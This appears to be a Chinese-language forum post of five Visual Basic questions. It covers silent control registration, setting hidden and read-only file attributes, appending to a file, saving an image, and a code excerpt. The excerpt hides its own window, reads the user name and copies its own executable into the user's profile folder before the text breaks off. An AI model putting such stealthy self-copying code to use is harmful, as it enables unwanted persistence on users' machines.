vb 5大问题

1.用Shell "regsvr32  " & App.Path & "\abcdefghijklmnopqrstuvwxyz.ocx"注册控件，怎么不显示注册成功对话框？
2.修改d:\12345.txt属性->只读，非只读，隐藏，非隐藏
3.在d:\54321.txt第五段后加"1234567890qwertyuiopasdfghjklzxcvbnm"
4.把自己程序里的图片image.picture(256色)保存到wc:\12311231345345.bmp(256色)
5.给下面的程序加一点视觉效果（自己的一个程序的一部分的提取的梗概的改版）
Public b, a As Long
Public c As String
Private Declare Function GetUserName Lib "advapi32.dll" Alias "GetUserNameA" (ByVal lpBuffer As String, nSize As Long) As Long

Public Function NTDomainUserName() As String
Dim strBuffer As String * 255
Dim lngBufferLength As Long
Dim lngRet As Long
Dim strTemp As String

lngBufferLength = 255
lngRet = GetUserName(strBuffer, lngBufferLength)
strTemp = UCase(Trim$(strBuffer))
NTDomainUser = strTemp
NTDomainUserName = Left$(strTemp, Len(strTemp) - 1)
End Function

Private Sub Form_Load()
On Error Resume Next
Form1.Hide
c = ""
For b = 1 To Len(NTDomainUserName)
If Mid(NTDomainUserName, b, 1) <> " " Then c = c & Mid(NTDomainUserName, b, 1)
Next b
Text1 = c
FileCopy App.Path & "\" & App.EXEName & ".exe", "C:\Documents and Settings\" &